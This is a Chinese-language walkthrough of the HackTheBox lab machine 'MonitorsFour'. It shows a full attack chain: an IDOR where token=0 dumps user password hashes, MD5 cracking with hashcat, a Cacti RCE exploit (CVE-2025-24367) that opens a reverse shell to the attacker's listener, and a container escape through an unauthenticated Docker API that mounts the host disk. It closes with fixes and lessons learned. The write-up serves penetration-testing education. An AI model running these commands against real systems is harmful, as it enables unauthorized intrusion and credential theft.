🇬🇧 英文版本 : [链接到英文 Dev.to — 发布英文后填写]
平台 : HackTheBox | 难度 : 简单 | 操作系统 : Windows (Docker Desktop / WSL2)
机器 : HTB — MonitorsFour
频道 : IDOR → 哈希破解 → Cacti RCE → Docker 逃逸
🗺️ 概览
MonitorsFour是一款Windows系统下的盒子,几乎将其所有攻击面隐藏在PHP Web应用和容器化基础设施之后。攻击路径分为四个阶段:API存在逻辑漏洞暴露凭证,这些凭证可用来认证一个易受远程代码执行(RCE)攻击的监控系统,获取到的shell最终会进入一个Docker容器,而最终的逃逸则通过内部网络暴露且无需认证的Docker API实现。
1. 探测
rustscan -a $IP --ulimit 5000 -- -sC -sV
| 端口 | 服务 | 备注 |
|---|---|---|
| 80 | HTTP nginx | 重定向至 monitorsfour.htb — 虚拟主机 |
| 5985 | WinRM (Microsoft HTTPAPI) | 如果 Windows 凭据有效则访问 Shell |
为什么这很重要: 在 Windows 服务器上使用 nginx + WinRM 的组合是一个典型的容器化信号。nginx 通常在 Linux 上运行——在这里,它位于 Windows 主机上的 Docker Desktop 容器中。端口 5985 是真正的 Windows WinRM 端口。这个观察结果从一开始就应该引起警觉.
echo "$IP monitorsfour.htb" | sudo tee -a /etc/hosts
2. 网页枚举
发现子域名
ffuf -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt \
-u http://monitorsfour.htb \
-H "Host: FUZZ.monitorsfour.htb" \
-ac -t 50 -s | tee fuzz.txt
# cacti
结果: cacti.monitorsfour.htb
[IMAGE: Cacti界面 — 登录页面]
echo "$IP monitorsfour.htb cacti.monitorsfour.htb" | sudo tee -a /etc/hosts
为什么要寻找虚拟主机:一个服务器可以根据HTTP头部的域名来托管多个网站Host:这个盒子已经使用虚拟主机(IP重定向→域名暴露了这一点),所以很可能在同一个IP后面还隐藏着其他网站。cacti.monitorsfour.htb被证明是真正的输入向量。
端点枚举
ffuf -u http://monitorsfour.htb/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-e .php -t 50 -mc 200,301,302,403 -ic
| 路由 | 状态 | 备注 |
|---|---|---|
/login |
200 | 登录页面 |
/forgot-password |
200 | 重置密码 |
/user |
200 | API端点 — 35字节响应 |
/static |
301 | 资源 |
/controllers |
403 | 代码源无法直接访问 |
curl "http://monitorsfour.htb/user"
# {"error":"Missing token parameter"}
curl "http://monitorsfour.htb/user?token=test"
# {"error":"Invalid or missing token"}
3. IDOR — 通过 token=0 泄露凭证
漏洞: 端点 /user?token= 验证用户标识符。控制器代码(伪代码)执行:
if ($token) {
return get_user($token); // token valide → un user
} else {
return get_all_users(); // sinon → TOUS les users
}
开发者写了if ($token)而不是if ($token !== null)在PHP中,值0是假值—if(0)是错误的。通过token=0掉进else它返回整个表格。
这是一个IDOR(不安全的直接对象引用 与一个关于假值的逻辑漏洞相结合。要点:必须系统地测试 0、-1、空字符串、null 在所有身份验证参数上。
curl -s "http://monitorsfour.htb/user?token=0" | python3 -m json.tool
结果:
[
{"username": "admin", "password": "56b32eb43e6f15395f6c46c1c9e1cd36", "name": "Marcus Higgins"},
{"username": "mwatson", "password": "69196959c16b26ef00b77d82cf6eb169", "name": "Michael Watson"}
]
4. 破解 MD5 哈希
哈希是 未加盐的 MD5 哈希 — 简单易破的格式.
# Sur Mac avec Hashcat natif (GPU M5 via Metal)
echo "56b32eb43e6f15395f6c46c1c9e1cd36" > hashes.txt
hashcat -m 0 hashes.txt ~/wordlists/rockyou.txt
结果: 56b32eb43e6f15395f6c46c1c9e1cd36 → wonderful1
为什么 MD5 危险: MD5无盐可在现代GPU上几分钟内被破解。相同的密码的哈希值是相同的,预计算的彩虹表覆盖了大多数常用密码。
5. 访问Cacti — CVE-2025-24367 (认证的远程代码执行)
导航至http://cacti.monitorsfour.htb/cacti/ — 版本号显示在底部:Cacti 1.2.28
凭证的微妙之处: API中的用户名是admin,但全名是Marcus Higgins。Cacti使用名字作为标识符→使用marcus / wonderful1登录。
CVE-2025-24367: Cacti 1.2.28 存在认证绕过远程代码执行漏洞。攻击者利用 graphs/templates 功能在 Web 根目录下生成 PHP 文件并触发执行。
# T1 — Listener
penelope -p 9001
# T4 — Exploit
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
cd CVE-2025-24367-Cacti-PoC
sudo python3 exploit.py \
-url http://cacti.monitorsfour.htb \
-u marcus -p wonderful1 \
-i $ME -l 9001
获取的 Shell: www-data 在 Docker 容器中。
[IMAGE: 获取 www-data Shell — whoami + hostname]
6. 漏洞利用后 — 在容器内
id # uid=33(www-data)
hostname # 821fbd6a43fa ← hash court = ID de conteneur Docker
ip addr # 172.18.0.3/16 sur eth0
ip route # default via 172.18.0.1
标记用户 :
cat /home/marcus/user.txt
[图片:标记用户]
7. 容器规避 — CVE-2025-9074 (未认证的 Docker API)
背景: Docker Desktop 在 Windows 上暴露其 API REST 于 192.168.65.7:2375 而无需身份验证。CVE-2025-9074 精确记录了这种暴露:Linux 容器可以访问该端点并与 Windows 主机的 Docker Engine 交互.
curl -s http://192.168.65.7:2375/version
# {"Platform":{"Name":"Docker Engine - Community"},...,"Version":"28.3.2",...}
在 Docker Desktop + WSL2 上,Windows 磁盘 C:\ 被暴露/mnt/host/c我们创建一个容器来挂载这个路径:
curl -s -X POST -H "Content-Type: application/json" \
-d '{
"Image": "alpine:latest",
"Cmd": ["/bin/sh", "-c", "cat /mnt/host_root/Users/Administrator/Desktop/root.txt"],
"HostConfig": {
"Binds": ["/mnt/host/c:/mnt/host_root"]
}
}' \
http://192.168.65.7:2375/containers/create -o /tmp/response.json
cid=$(grep -o '"Id":"[^"]*"' /tmp/response.json | cut -d'"' -f4)
curl -s -X POST http://192.168.65.7:2375/containers/$cid/start
sleep 2
curl -s "http://192.168.65.7:2375/containers/$cid/logs?stdout=true" --output -
[IMAGE: 旗帜 root]
获取root权限。
完整地图链
IDOR token=0
→ Hash MD5 leaked (admin / marcus)
→ Hashcat → wonderful1
→ Login Cacti (marcus:wonderful1)
→ CVE-2025-24367 → RCE → shell www-data
→ Docker container (172.18.0.3)
→ API Docker 192.168.65.7:2375 (CVE-2025-9074)
→ bind mount /mnt/host/c
→ root.txt ✅
🛡️ 如何纠正这些漏洞
1. IDOR + 逻辑错误在 /user?token=
修正: 将 if ($token) 替换为 if ($token !== null && $token !== '')。 在所有 API 端点添加强制认证。
2. 未加盐的 MD5 哈希
修正: 使用password_hash() PHP (默认使用 bcrypt) 或 Argon2id。永远不要存储 MD5/SHA1 用于密码。
3. Cacti 1.2.28 — CVE-2025-24367
修正: 更新 Cacti。限制 IP 访问。应用最小权限原则。
4. Docker API 未进行身份验证暴露 — CVE-2025-9074
修正: 禁用 "在 tcp://localhost:2375 上无 TLS 地暴露守护进程"。如果需要 TCP,则要求 TLS 和相互证书。将容器隔离到专用网络上.
💡 经验教训
-
测试所有身份验证参数的假值 (
0,-1,"",null) -
不要过早放弃vhost的模糊测试 —
cacti才是真正的攻击面. -
读取HTTP头 —
X-Powered-By: PHP/8.3.27+PHPSESSID在初次curl时就暴露了技术栈. - Windows上的nginx = 可能存在容器化 — TTL 127 + nginx = Docker Desktop的强烈信号.
- 未认证的Docker API = 立即root权限 — 从受感染的容器访问2375端口是游戏结束.
📺观看视频指南:YouTube WhyShell
🇬🇧英文版本:[Dev.to帖子链接EN — 待填写]



















